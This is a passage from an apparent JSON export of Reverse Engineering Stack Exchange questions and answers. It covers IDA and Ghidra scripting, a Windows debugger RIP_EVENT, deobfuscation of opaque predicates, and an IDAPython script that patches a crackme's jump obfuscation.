auto value = buffer;\n        PatchByte(ea + i, value);\n    }\n\n    Message(&quot;Successfully patched the memory address!&quot;);\n}`\n</code></pre>\n<p>The goal is to replace a large encryption key with one of my own, just for testing, which is why I want to patch the memory instead of the database or binary itself. But I also feel that a script or function like this may become useful for others aswell.</p>\n<p>Is this something I can only do by creating a plugin? (Please don't say that, I have never been able to successfully compile an IDA plugin..)</p>\n<p>Any help would be appreciated. Thanks!&quot;</p>\n<p>p.s. i am aware the buffersize check only checks for a number over 0</p>\n",
        "Title": "Need Help Figuring out Multi-byte (in-memory) byte replacement using ida script (idc)",
        "Tags": "|ida|patching|script|idc|",
        "Answer": "<p>You can do this with IDC or IDAPython without compiling a C++ plugin, but there are a number of problems with your code snippet. For example, <code>value</code> is not an integer, and is computed the same way for every loop iteration. I wouldn't recommend just copying and pasting code from ChatGPT; you should try actually writing it yourself, according to the documentation for IDC or IDAPython.</p>\n<p>Here's a one-liner to do it in IDAPython:</p>\n<p><code>for idx,byte in enumerate([0xFF,0xFE,0xFD,0xFC,0xFB]): ida_bytes.put_byte(0x180004F76+idx,byte)</code></p>\n<p>Replace <code>0x180004F76</code> with the address you want to write to, and <code>[0xFF,0xFE,0xFD,0xFC,0xFB]</code> with the bytes you want to write there.</p>\n"
    },
    {
        "Id": "31961",
        "CreationDate": "2023-06-11T01:53:08.347",
        "Body": "<p>For the record, this is a question I often see:</p>\n<p>Especially when using a high-resolution display, fonts and other UI elements can appear extremely small. How can they be enlarged?</p>\n",
        "Title": "Increase font size in Ghidra",
        "Tags": "|ghidra|",
        "Answer": "<p>In Windows, just edit the file:</p>\n<p><code>\\GHIDRA_DIR\\support\\launch.properties</code></p>\n<p>and add the line:</p>\n<p><code>VMARGS_WINDOWS=-Dsun.java2d.uiScale=2</code></p>\n<p>A similar command can be used for other systems.</p>\n"
    },
    {
        "Id": "31965",
        "CreationDate": "2023-06-12T06:57:01.757",
        "Body": "<p>The documentation for the Windows Debugger API mentions a debug event called <a href=\"https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-rip_info\" rel=\"nofollow noreferrer\">RIP_EVENT.</a> It offers little explanation of what a RIP_EVENT is, only stating that the structure &quot;contains the error that caused the RIP debug event.&quot; In my own debugger, I have never encountered this event, so I am uncertain how to handle it.</p>\n<p>There are precious little resources online explaining what the event is. <a href=\"https://www.lyyyuna.com/2017/05/01/write-a-windows-debugger-02-debug-event/\" rel=\"nofollow noreferrer\">This blog</a> is as confused as I am:</p>\n<blockquote>\n<p>I find very few documents about this event, only mentioned with words\nlike system error or internal error. So I decide to print a error\nmessage and skip it. As my project is not fully tested, I have never\nencountered such a situation.</p>\n</blockquote>\n<p>The <a href=\"https://www.codeproject.com/Articles/5275/Writing-a-Debugger-Part-2-The-Debug-Loop\" rel=\"nofollow noreferrer\">Writing A Debugger CodeProject</a> claims the event &quot;occurs if your process being debugged dies unexpectedly.&quot; Similarly, this <a href=\"https://youtu.be/VZtM-gQxmns\" rel=\"nofollow noreferrer\">OALabs video</a> states that the RIP_EVENT occurs if the process doesn't exit gracefully.</p>\n<p>This seems to be the general consensus amongst the few resources I can find. The problem is, of all the ways I can conceive of to kill a process in unexpected fashion, none of them trigger a RIP_EVENT. Last Chance Exceptions trigger a DEBUG_EVENT, eventually followed by an EXIT_PROCESS_DEBUG_EVENT, instead. If anything, I would expect that terminating the process in Task Manager wouldn't be considered a &quot;graceful exit,&quot; but it too triggers an EXIT_PROCESS_DEBUG_EVENT, not a RIP_EVENT. This makes me wonder if the event is even associated with process termination at all, or if that's just a confident assumption based on the name &quot;RIP.&quot;</p>\n<p>I'm left to speculate why I've never seen this event before and in what scenario it could potentially arise:</p>\n<ul>\n<li>Assuming a RIP_EVENT does occur when the process dies somehow, does\nthe RIP_EVENT replace the EXIT_PROCESS_DEBUG_EVENT, or can I expect\nto receive both events?</li>\n<li>How do popular debuggers like Visual Studio or WinDbg handle the\nRIP_EVENT? What is the correct way to handle one? Do I even need to\ndo anything if I receive one?</li>\n<li>Does the &quot;RIP&quot; in RIP_EVENT refer to the instruction pointer in x64?\nWould that imply it is exclusive to x64 and never occurs for x86? Or\nperhaps it is for some other CPU architecture I don't care about?</li>\n<li>Does it occur when connection is lost while debugging a remote\nprocess? This is another scenario I thought might cause it, but it'd\nbe difficult for me to test.</li>\n</ul>\n<p><strong>Update:</strong> I began digging even further into this, because I wasn't satisfied with the guesses so far, and found something interesting. There is an export of USER32 called <a href=\"http://winapi.freetechsecrets.com/win32/WIN32SetDebugErrorLevel.htm\" rel=\"nofollow noreferrer\">SetDebugErrorLevel.</a> There is no official documentation for it that I can find, but if this source is to be believed, it would make a lot of sense.</p>\n<blockquote>\n<p>The SetDebugErrorLevel function sets the minimum error level at which\nWindows will generate debugging events and pass them to a debugger.</p>\n<p><strong>Parameters</strong></p>\n<p><em>dwLevel</em> Specifies the minimum error level for debugging events. If an error is equal to or above this level, Windows generates a\ndebugging event. This parameter must be one of the following values:</p>\n<p><strong>Value:</strong> 0</p>\n<p><strong>Meaning:</strong> Does not report any errors. This value is the default error level.</p>\n<p><strong>Value:</strong> SLE_ERROR</p>\n<p><strong>Meaning:</strong> Reports only ERROR level debugging events.</p>\n<p><strong>Value:</strong> SLE_MINORERROR</p>\n<p><strong>Meaning:</strong> Reports only MINORERROR level and ERROR level debugging events.</p>\n<p><strong>Value:</strong> SLE_WARNING</p>\n<p><strong>Meaning:</strong> Reports WARNING level, MINORERROR level, and ERROR level debugging events.</p>\n</blockquote>\n<p>Particularly because the RIP_INFO structure contains a dwType field with these same values, I think it is likely that RIP_EVENT was intended to be thrown as a part of this mechanism. The thing is, SetDebugErrorLevel - although it exists in USER32 - does nothing. Looking at the disassembly reveals it simply returns immediately. Furthermore, these types were clearly intended to be specified in calls to <a href=\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setlasterrorex\" rel=\"nofollow noreferrer\">SetLastErrorEx,</a> though it too goes unused, as the documentation explains:</p>\n<blockquote>\n<p>Currently, this function is identical to the SetLastError function.\nThe second parameter is ignored.</p>\n</blockquote>\n<p>...with the second, unused parameter being dwType, which was probably meant to take in the SLE_ERROR, SLE_MINORERROR, and SLE_WARNING types (with &quot;SLE&quot; standing for SetLastError.) From this, I infer that RIP_EVENT was probably intended to be thrown whenever SetLastErrorEx was used to set a new error level, but this feature has been abandoned. This is my best theory, but it is still only a guess, as the documentation never goes so far as to explicitly state this.</p>\n",
        "Title": "What triggers RIP_EVENT?",
        "Tags": "|windows|debugging|x86|",
        "Answer": "<p>AFAIK you're not supposed to handle it and I doubt you reasonably could. The sources you cite <a href=\"https://en.wikipedia.org/wiki/Rest_in_peace\" rel=\"nofollow noreferrer\">are right about what RIP means in this context</a>.</p>\n<p>This event occurs in response to a <code>DBG_RIPEXCEPTION</code> (== <code>((NTSTATUS)0x40010007L)</code>; see <code>ntstatus.h</code>). The message for this status code is &quot;Debugger received RIP exception.&quot; (not helpful ;)) and a corresponding Win32 error code exists by the name <code>ERROR_DBG_RIPEXCEPTION</code> (== <code>695L</code>; see <code>winerror.h</code>, same message text).</p>\n<p>Arguably you could synthesize this event by calling <a href=\"https://learn.microsoft.com/windows/win32/api/errhandlingapi/nf-errhandlingapi-raiseexception\" rel=\"nofollow noreferrer\"><code>RaiseException</code></a> with the <code>DBG_RIPEXCEPTION</code> code. You could then play with passing different arguments and filling the data and seeing what carries over into the debugger.</p>\n<p>I, too, am not aware of anything that raises that specific code, but be it cosmic rays or anything else, it seems to signal the sudden and unexpected &quot;death&quot; of a process <strong>out of the ordinary</strong>.</p>\n<hr />\n<blockquote>\n<p>Assuming a RIP_EVENT does occur when the process dies somehow, does the RIP_EVENT replace the EXIT_PROCESS_DEBUG_EVENT, or can I expect to receive both events?</p>\n</blockquote>\n<p>From what I gather, you can expect both. They signify different circumstances, however. <code>RIP_EVENT</code> seems to be purely about the <em>sudden and unexpected &quot;death&quot;</em> of a process, not other ways of the process exiting (and the OS getting to clean up after it). One guess would be that this could get synthesized on the client in remote debugging scenarios.</p>\n<blockquote>\n<p>How do popular debuggers like Visual Studio or WinDbg handle the RIP_EVENT?</p>\n</blockquote>\n<p>I think they don't. That event is supposed to be the exception to the exception, so to speak.</p>\n<blockquote>\n<p>What is the correct way to handle one? Do I even need to do anything if I receive one?</p>\n</blockquote>\n<p>As noted above, I think you're not supposed to care about it. At most log it (to notify the user).</p>\n<blockquote>\n<p>Does the &quot;RIP&quot; in RIP_EVENT refer to the instruction pointer in x64? Would that imply it is exclusive to x64 and never occurs for x86? Or perhaps it is for some other CPU architecture I don't care about?</p>\n</blockquote>\n<p>Nope it's not about the instruction pointer in x64. It predates x64.</p>\n<blockquote>\n<p>Does it occur when connection is lost while debugging a remote process? This is another scenario I thought might cause it, but it'd be difficult for me to test.</p>\n</blockquote>\n<p>Seems like we came to the same conclusion with this one.</p>\n<p><strong>However,</strong> I'd like to offer another option: <code>RIP_EVENT</code> could be a remnant and no longer applicable to modern Windows. NT has a long history and it could well be something that was dropped along the way ... for all we know it could originate from something that relates to OS/2 and Microsoft's/IBM's collaboration <em>before</em> they parted ways. This is just a guess, too. But it would explain the absence of information. It could also be something that was introduced from the Win32s lineage (Windows 9x/Me) and subsequently dropped. Remember that NT 4.0 took up the desktop look&amp;feel from Windows 95 at the time.</p>\n<p>Unless you're working for Microsoft and have access to internal documentation, source code history and some of the original developers, I don't think you'll get much more info than what you found already.</p>\n"
    },
    {
        "Id": "31986",
        "CreationDate": "2023-06-20T17:46:09.020",
        "Body": "<p>I'm getting the following error when I try to install the following extension <a href=\"https://github.com/felberj/gotools\" rel=\"nofollow noreferrer\">https://github.com/felberj/gotools</a></p>\n<blockquote>\n<p>Installation Error</p>\n<p>Extension version for [gotools-master.zip] is incompatible with Ghidra.</p>\n</blockquote>\n<pre><code>Build Date: 2022-Jan-25 1526 EST\nGhidra Version: 10.1..2\nJava Home: C:\\Program Files\\Microsoft\\jdk-17.9.7-7-hotspot\nJVM Version: Microsoft 17.9.7\nOS: Windows 11 10.0 amd64\nWorkstation: 192.168.1.128\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/v1HOp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/v1HOp.png\" alt=\"screenshot of error\" /></a></p>\n<p>I followed the instructions in the <a href=\"https://github.com/felberj/gotools/blob/master/README.md\" rel=\"nofollow noreferrer\">GitHub readme</a> yet the extension doesn't appear in the extensions tab, when I try to manually add it I get the message above that Ghidra doesn't support this extension. I'm using the version that is described in readme which is Ghidra 10.1.2. Can anyone assess the problem I'm encountering?</p>\n",
        "Title": "Installation problem with gotools extension for Ghidra: Extension version for [gotools-master.zip] is incompatible with Ghidra",
        "Tags": "|ghidra|go|",
        "Answer": "<p>This is a bug upstream you can see it filed as <a href=\"https://github.com/felberj/gotools/issues/9\" rel=\"nofollow noreferrer\">issue #9 on Github</a>. According to one of the posters, there is a release that works on this fork,</p>\n<p><a href=\"https://github.com/sophieboyle/gotools/releases\" rel=\"nofollow noreferrer\">https://github.com/sophieboyle/gotools/releases</a></p>\n"
    },
    {
        "Id": "31991",
        "CreationDate": "2023-06-22T07:49:28.640",
        "Body": "<p>I'm new to using Ghidra, so apologies if this has been asked before, but I couldn't find an answer.</p>\n<p>I'm looking at an iOS app, and I can see a function signature that looks like this:</p>\n<pre><code>ID Class::DoTheThing(ID param_1, SEL param_2, ID param_3)\n</code></pre>\n<p>I know that <code>param_3</code> is an <code>NSString</code>, but Ghidra doesn't seem to know what an <code>NSString</code> is.</p>\n<p>Is there a datatype library that I can add to Ghidra to give it support for this, or do I need to manually tell it what an <code>NSString</code> looks like?</p>\n",
        "Title": "Ghidra with Swift/Objective-C datatypes (NSString)",
        "Tags": "|ghidra|",
        "Answer": "<p>I followed this guide on PoomSmart's GitHub page (<a href=\"https://github.com/PoomSmart/IDAObjcTypes\" rel=\"nofollow noreferrer\">https://github.com/PoomSmart/IDAObjcTypes</a>) and it seems to have worked. PoomSmart is quite respected in the jailbreak community and I have used their tweaks for long with no issues.</p>\n<p>There is one additional step not explicitly mentioned in the guide, which is to select the program architecture. Since I didn't specifically know what to pick, I tried a few of the ARM processor options and it looks good.</p>\n"
    },
    {
        "Id": "31993",
        "CreationDate": "2023-06-22T14:05:42.080",
        "Body": "<hr />\n<p>I have the following problem on my agenda: There is an obfuscated .exe (this is a virus that I am investigating) in addition to having an MBA, etc. bullshit, he has Opaque predicates and dead code, I know there are solvers to solve this gap(z3), but they have problems with execution speed, when I delete one instruction in a graph and compare it with the original graph, it takes too much time, I also made the solver see not just one graph, but the entire function, because of this, I have big problems with the speed of execution, since there are more than 1000 instructions in the function - I delete one at a time, and it's simply unbearable to wait so long, the solver also has problems with registers, since there is no inheritance of data from variables and I have to update the lower part of the registers every time.</p>\n<p>Are there any elegant ways to solve opaque predicates and dead code?(my implementations of this on solver are: <a href=\"https://github.com/Nitr0-G/DynamicRetDec\" rel=\"nofollow noreferrer\">https://github.com/Nitr0-G/DynamicRetDec</a> and <a href=\"https://github.com/Nitr0-G/Z3-Dead-Code-Elemination\" rel=\"nofollow noreferrer\">https://github.com/Nitr0-G/Z3-Dead-Code-Elemination</a>). Perhaps opaque predicates and dead code elimination can be solved somehow with the help of data tracking? Are there any implementations that I could look at or maybe concepts?</p>\n",
        "Title": "How can i remove dead code and opaque predicates?",
        "Tags": "|assembly|c++|deobfuscation|dynamic-analysis|",
        "Answer": "<p>So, as I understand it, it is impossible to do this at the level of an assembly language as such.</p>\n<p>In order to delete dead code in a normal sense, it is necessary to carry out the stages of code analysis, or rather data flow graph, it is impossible to do this in one run of the assembler code with the unicron emulator, i.e. I need to form a conditional data map (This also applies to opaque predicates)\n<a href=\"https://www.sciencedirect.com/topics/computer-science/data-flow-graph\" rel=\"nofollow noreferrer\">https://www.sciencedirect.com/topics/computer-science/data-flow-graph</a></p>\n<p><a href=\"http://bears.ece.ucsb.edu/research-info/DP/dfg.html\" rel=\"nofollow noreferrer\">http://bears.ece.ucsb.edu/research-info/DP/dfg.html</a></p>\n<p>Let's say I add the second phase of the run, i.e. on the first I will form a data flow graph, and on the second I will already apply this data flow graph to the code and start optimizing it all. Then I stumble upon another problem, in order to understand at the assembler level whether the command is correct even with a dfg(data flow graph), we need to delete one variable or number and compare it with the original tree and check that our calculations are not broken in any way. If I take a real case of a virus that is very well obfuscated, then you and I will sit in a puddle, because if there are more than 1000 instructions in one function, then our optimization will be extremely long.</p>\n<p>But many readers may object and say that the same can be done with a solver, but I will answer you that it takes about 534MC to recalculate our example with a certain solver constraint</p>\n<pre><code>    s.add(!(*orig.rax == *opt.rax &amp;&amp; *orig.rbx == *opt.rbx &amp;&amp; *orig.rcx == *opt.rcx &amp;&amp; *orig.rdx == *opt.rdx &amp;&amp; *orig.rbp == *opt.rbp &amp;&amp; *orig.rsp == *opt.rsp &amp;&amp; *orig.rsi == *opt.rsi \n        &amp;&amp; *orig.rdi == *opt.rdi \n        &amp;&amp; *orig.r8 == *opt.r8 &amp;&amp; *orig.r9 == *opt.r9 &amp;&amp; *orig.r10 == *opt.r10 &amp;&amp; *orig.r11 == *opt.r11 &amp;&amp; *orig.r12 == *opt.r12 &amp;&amp; *orig.r13 == *opt.r13 &amp;&amp; *orig.r14 == *opt.r14 \n        &amp;&amp; *orig.r15 == *opt.r15 &amp;&amp; *orig.xmm0 == *opt.xmm0 &amp;&amp; *orig.xmm1 == *opt.xmm1 &amp;&amp; *orig.xmm2 == *opt.xmm2 &amp;&amp; *orig.xmm3 == *opt.xmm3 &amp;&amp; *orig.xmm4 == *opt.xmm4\n        &amp;&amp; *orig.xmm5 == *opt.xmm5 &amp;&amp; *orig.xmm6 == *opt.xmm6 &amp;&amp; *orig.xmm7 == *opt.xmm7 &amp;&amp; *orig.xmm8 == *opt.xmm8 &amp;&amp; *orig.xmm9 == *opt.xmm9 &amp;&amp; *orig.xmm10 == *opt.xmm10\n        &amp;&amp; *orig.xmm11 == *opt.xmm11 &amp;&amp; *orig.xmm12 == *opt.xmm12 &amp;&amp; *orig.xmm13 == *opt.xmm13 &amp;&amp; *orig.xmm14 == *opt.xmm14 &amp;&amp; *orig.xmm15 == *opt.xmm15 &amp;&amp; *orig.zf == *opt.zf \n        &amp;&amp; *orig.of == *opt.of &amp;&amp; *orig.cf == *opt.cf &amp;&amp; *orig.pf == *opt.pf &amp;&amp; *orig.sf == *opt.sf &amp;&amp; *orig.af == *opt.af &amp;&amp; *orig.df == *opt.df));\n</code></pre>\n<p>The constraint above will take you about 534MC for one repeat, and now imagine that we have ten such repetitions, it will just be incomprehensible in terms of execution time. With opaque predicates, things are a little better, but everything is still performed for an extremely long time...\nAlong the way, we can only optimize only those instructions that obviously fall out of our dfg at all, but there are few such cases and in real cases this will be extremely rare for us.</p>\n<p>Of all the cases, only one will help us:\nWe need to collect the entire trace of the program to the place we need, despite the garbage data and dead code, etc. obfuscation. Then we will need to lift the collected instructions to llvm-ir or any other ir and after that we can proceed to normal optimization.</p>\n<p>In its own way, you need to develop a source to source compiler for deobfuscation(asm2asm with different optimizations):\n<a href=\"https://github.com/rose-compiler/rose\" rel=\"nofollow noreferrer\">https://github.com/rose-compiler/rose</a>\n<a href=\"https://en.wikipedia.org/wiki/Source-to-source_compiler\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Source-to-source_compiler</a></p>\n"
    },
    {
        "Id": "32029",
        "CreationDate": "2023-07-04T03:59:43.233",
        "Body": "<p>I'm trying to reverse a crackme that is using <code>jz x; mov eax, x+1; jmp eax</code> pattern to confuse IDA. I have made a script to find all the patterns and disassemble from x+1 instead of x, but I'm running into this error.\n<a href=\"https://i.stack.imgur.com/q2pA9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/q2pA9.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/eJmAe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eJmAe.png\" alt=\"enter image description here\" /></a></p>\n<p>The crackme is <a href=\"https://crackmes.dreamhosters.com/users/fatmike/fatmikes_crackme_3/\" rel=\"nofollow noreferrer\">https://crackmes.dreamhosters.com/users/fatmike/fatmikes_crackme_3/</a></p>\n",
        "Title": "IDA Pro failed decompilation with \"JUMPOUT\"",
        "Tags": "|ida|",
        "Answer": "<p>This failure happens as a result of A) the intentional obfuscation, and B) what the compiler community calls a &quot;phase-ordering&quot; problem.</p>\n<p>When Hex-Rays decompiles a function, it begins by creating the control flow graph pictured in your second screenshot. Next, it performs a &quot;reachability analysis&quot;, a depth-first search starting from the entry block, to determine which blocks may ever be executed. Then, it removes blocks that it determines can never be executed. In particular, the reachability analysis only follows control flow references, not data flow references. If some basic block is only reachable by a data flow reference -- as in <code>loc_100025C1</code> in your example -- its code will be removed from the decompilation by this phase.</p>\n<p>Later on in the decompilation, Hex-Rays propagates the <code>mov eax, offset loc_100025C1</code> into the subsequent <code>jmp eax</code> instruction to determine that the <code>jmp</code> transfers control to <code>loc_100025C1</code>, and then sees whether that address is part of the code it is decompiling. Since that address was removed from the decompilation as just discussed, this fails. As a result, Hex-Rays emits the <code>JUMPOUT(0x100025C1)</code> that you see in the decompilation. If Hex-Rays had known earlier that the <code>jmp</code> would resolve to <code>loc_100025C1</code>, then it would have kept that code, so you would not see a <code>JUMPOUT</code> in the decompilation -- but it only discovers that the <code>jmp</code> resolves there after it's already removed the target, at which point it's too late.</p>\n<p>There is something you can do about this, although it is a bit of a weak solution that will require manual work and probably several iterations of refinement on your end. Namely, if you explicitly add a control flow reference from the <code>jmp eax</code> instruction to <code>loc_100025C1</code>, then Hex-Rays won't remove that block, and it will be able to decompile more of the code. You can add such a control flow reference as follows:</p>\n<p><code>ida_xref.add_cref(0x100025BE,100025C1,ida_xref.XREF_USER | ida_xref.fl_JN)</code></p>\n<p>Note, however, that you are going to have to do this for every occurrence of this obfuscation construct, which you might only discover after adding the first cross reference and then seeing new <code>JUMPOUT</code> statements. You'll probably also run into issues where IDA may not create function chunks for new parts of the code that you add cross references to, which will be annoying and painful.</p>\n<p>If I were you, I'd do this instead:</p>\n<ol>\n<li>Load the binary without performing auto-analysis.</li>\n<li>Search for the patterns of interest, which you appear to already be doing in the &quot;Search&quot; window in your third tab.</li>\n<li>Replace them with direct, unconditional jumps to the destinations. I.e. replace the <code>mov eax, offset loc_100025C1</code> / <code>jmp eax</code> with simply <code>jmp loc_100025C1</code>. You'll have more than enough space to do this; if the target is within <code>0x7F</code> bytes of the end of the <code>mov eax</code> instruction, you can simply replace it with a one-byte <code>EB XX</code> <code>jmp</code> instruction. If it's not within that many bytes, you can use the <code>E9 AA BB CC DD</code> form of the <code>jmp</code> instruction, where the distance from the end of that instruction to the destination is <code>0xDDCCBBAA</code>.</li>\n<li>Now let IDA perform auto-analysis.</li>\n</ol>\n<p>As long as your script can find the relevant entries, this should prevent you from having to create the cross-references manually (in an iterative fashion) like I described above; you'll be explicitly creating all of the cross-references at once. And by delaying auto-analysis until after your script runs, you'll prevent issues with IDA not identifying the function chunks.</p>\n<p>In response to your edit including a link to the crackme, here's an IDAPython script you can run to remove the obfuscation. When loading the binary, uncheck the &quot;Enabled&quot; checkbox under the &quot;Analysis&quot; heading. Then, run the script. Finally, go to <code>Options-&gt;General-&gt;Analysis</code> and check the &quot;Enabled&quot; checkbox. (Note that there's a bit more logic to the script than necessary; only the &quot;patched jmp to destination&quot; block ever executes.)</p>\n<pre><code>import idaapi\nimport ida_bytes\nimport ida_nalt\nimport ida_bytes\nimport ida_ida\n\nPATTERN_STR = &quot;B8 ? ? ? ? 3D ? ? ? ? 74 07 B8 ? ? ? ? FF E0&quot;\n\npatterns = ida_bytes.compiled_binpat_vec_t()\nencoding = ida_nalt.get_default_encoding_idx(ida_nalt.BPU_1B)\nimagebase = ida_nalt.get_imagebase()\nida_bytes.parse_binpat_str(patterns,imagebase,PATTERN_STR,16,encoding)\nea = imagebase\nwhile True:\n    ea = ida_bytes.bin_search(ea,ida_ida.inf_get_max_ea(),patterns,ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_CASE)\n    if ea == idaapi.BADADDR:\n        break\n\n    const1 = ida_bytes.get_dword(ea+1)\n    const2 = ida_bytes.get_dword(ea+6)\n    offs = ida_bytes.get_dword(ea+13)\n    if const1 != const2:\n        if offs == ea+0x14:\n            ida_bytes.put_byte(ea,0xEB)\n            ida_bytes.put_byte(ea+1,0x12)\n            for i in range(0x12):\n                ida_bytes.put_byte(ea+2+i,0x90)\n            print(&quot;%#x: patched jmp to destination&quot; % ea)\n        else:\n            print(&quot;%#x: jmp address incorrect?&quot; % ea)\n\n    else:\n        ida_bytes.put_byte(ea,0xEB)\n        ida_bytes.put_byte(ea+1,0x11)\n        for i in range(0x11):\n            ida_bytes.put_byte(ea+2+i,0x90)\n        print(&quot;%#x: patched jmp to byte after jmp eax&quot; % ea)\n</code></pre>\n"
    },
    {
        "Id": "32030",
        "CreationDate": "2023-07-04T13:21:02.510",
        "Body": "<p>I have a script that catches say a value of 666 in the RDX register and pauses debugging. The problem is, that this value might be added to the register by other modules aside from the main application that I am debugging, for example by ntdll.dll, which is of course of no use to me.</p>\n<p>How do I get the name of the current module that debugger is in at any given moment so I can ignore if the RDX is changed at that module?\nSomething like this:</p>\n<pre><code>idaapi.step_into()\nidaapi.wait_for_next_event(2, -1)\ncounter=GetRegValue('RDX')\nif counter==666 and (GetCurrentModuleName()!='ntdll.dll'):\n        break\n</code></pre>\n",
        "Title": "IDAPython get current module name in a debugger",
        "Tags": "|idapython|",
        "Answer": "<p><a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_dbg.html#ida_dbg.get_module_info\" rel=\"nofollow noreferrer\"><code>get_module_info</code></a> seems to be what you want, it returns <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_idd.html#ida_idd.modinfo_t\" rel=\"nofollow noreferrer\"><code>modinfo_t</code></a> structure with full module name.</p>\n<p>An untested sketch of example usage would be:</p>\n<pre class=\"lang-py prettyprint-override\"><code>import idaapi, ida_idd, ida_dbg\n\nidaapi.step_into()\nidaapi.wait_for_next_event(2, -1)\n\nea = ida_dbg.get_ip_val()\nmodinfo = ida_idd.modinfo_t()\nida_dbg.get_module_info(ea, modinfo)\n\ncounter = GetRegValue('RDX')\nif counter == 666 and modinfo.name != 'ntdll.dll':\n    break\n\n</code></pre>\n"
    },
    {
        "Id": "32035",
        "CreationDate": "2023-07-05T04:14:06.323",
        "Body": "<p>I'm a <a href=\"https://git-scm.com/\" rel=\"nofollow noreferrer\">git</a> addict. Whenever I develop a C++, Python application, I need to version control it. For example, the csproj file managed by Visual Studio holds the compiling configurations for a C# project, and I put the file into git.</p>\n<p>Now, as a newbie in reverse engineering, I'm using IDA. I like IDA's abilities to rename functions and variables, add comments, etc. I find an IDA project has a database, but it's not plain text.</p>\n<p>How would I save my reverse engineering progress in git? How would I share my comments, notes, renamings to others so that they can pick up and continue studying the same executable?</p>\n",
        "Title": "How to version control an IDA project?",
        "Tags": "|ida|",
        "Answer": "<p>There is another project available (I have no affiliation), which may also fit the bill: <a href=\"https://binsync.net/\" rel=\"nofollow noreferrer\">BinSync</a></p>\n<p>The GitHub organization <a href=\"https://github.com/binsync\" rel=\"nofollow noreferrer\">can be found here</a>.</p>\n"
    },
    {
        "Id": "32056",
        "CreationDate": "2023-07-14T15:18:15.617",
        "Body": "<p>With idapython I would like to get demangled names with the <a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-35-demangled-names/\" rel=\"nofollow noreferrer\">name simplification (bottom of page)</a> applied to them.</p>\n<p>For example, the following function:</p>\n<pre class=\"lang-shell prettyprint-override\"><code>Python&gt; ida_name.demangle_name(idc.get_func_name(0x123456), 0)\n\nstd::vector&lt;std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;,std::allocator&lt;std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;&gt;&gt;::vector(void)'\n</code></pre>\n<p>As you can see, the function name is very long with all the templates. IDA applies some rules from <code>goodname.cfg</code> to simplify this name. In its GUI the following is displayed:</p>\n<pre><code>std::vector&lt;std::string&gt;::vector(void)\n</code></pre>\n<p>Much better. Is there any way to achieve the same result in idapython? Other than copying and applying all the rules from <code>goodname.cfg</code> inside my script...</p>\n",
        "Title": "IDA: Demangled name simplification in idapython",
        "Tags": "|ida|c++|idapython|idapro-sdk|",
        "Answer": "<p><code>idaapi.get_ea_name(ea, idaapi.GN_SHORT|idaapi.GN_DEMANGLED)</code> seems to return the filtered demangled name.</p>\n"
    },
    {
        "Id": "32073",
        "CreationDate": "2023-07-19T05:09:09.683",
        "Body": "<p>I have a binary with debug information and I want to mark STL library functions with &quot;Library function&quot; tag as quick as possible, just by highlighting a range of functions and clicking some button instead of marking every function &quot;Library function&quot; by hand.\n<a href=\"https://i.stack.imgur.com/AGxd7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AGxd7.png\" alt=\"list of functions\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/fxti4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fxti4.png\" alt=\"\" /></a></p>\n<p>Is there is a way to do that quick?</p>\n",
        "Title": "How to quickly mark functions library in IDA Pro?",
        "Tags": "|ida|idapython|python|script|",
        "Answer": "<p>Here's how you can automate the labelling process:</p>\n<pre class=\"lang-py prettyprint-override\"><code>import idc, idautils\n\nFUNC_LIB = 4\n\n# Here go your selected functions\n# This labels everything unless you specify the start/end args\nfuncs = idautils.Functions()\n\nfor ea in funcs:\n    flags = idc.get_func_flags(ea) | FUNC_LIB\n    idc.set_func_flags(ea, flags)\n</code></pre>\n<p>To label a library function we set <a href=\"https://hex-rays.com/products/ida/support/idadoc/337.shtml\" rel=\"nofollow noreferrer\"><code>FUNC_LIB</code></a> flag.</p>\n<p>You will likely need to write a plugin for UI integration to get the selected functions. If they are in a contiguous address space you can just pass its range in <code>idautils.Functions(start_ea, end_ea)</code>.</p>\n"
    },
    {
        "Id": "32074",
        "CreationDate": "2023-07-19T06:36:02.297",
        "Body": "<p>Suppose I have a function, I know that the first 4 arguments come with fixed registers.</p>\n<pre><code>_BYTE *__fastcall foo(__int64 a1, _QWORD *a2, unsigned int a3, char a4, _QWORD *a5)\n</code></pre>\n<p>For the fifth one, if I move my mouse on that argument, it displays a hint</p>\n<pre><code>_QWORD *a5 // [rsp+120h] [rbp+28h] ISARG BYREF\n\nBYREF: address of this variable is taken somewhere in the current function (e.g. for passing to a function call);\nISARG: shown for function arguments (in mouse hint popups);\n</code></pre>\n<p>According to <a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-66-decompiler-annotations/\" rel=\"nofollow noreferrer\">documentation</a>.The fist part of the comment is the variable location. However, rsp[0xffff940a1f436b48]+120h and rbp[0xffff940a1f436bf9]+28h are 2 different values. Does that mean the argument is stored in 2 locations? If it's stored separately, how do I know how many bytes are stored in those 2 locations?</p>\n<p>I just tried several times. It works fine now.</p>\n<pre><code>1.\nrsp = 0xffff86817543df49\nrbp = 0xffff86817543de98\n\n2.\nrsp = 0xffff868175428b48\nrbp = 0xffff868175428bf9\n\n3.\nrsp = 0xffff868175692e18\nrbp = 0xffff868175692ee0\n</code></pre>\n",
        "Title": "split function argument from IDA's hints",
        "Tags": "|ida|functions|",
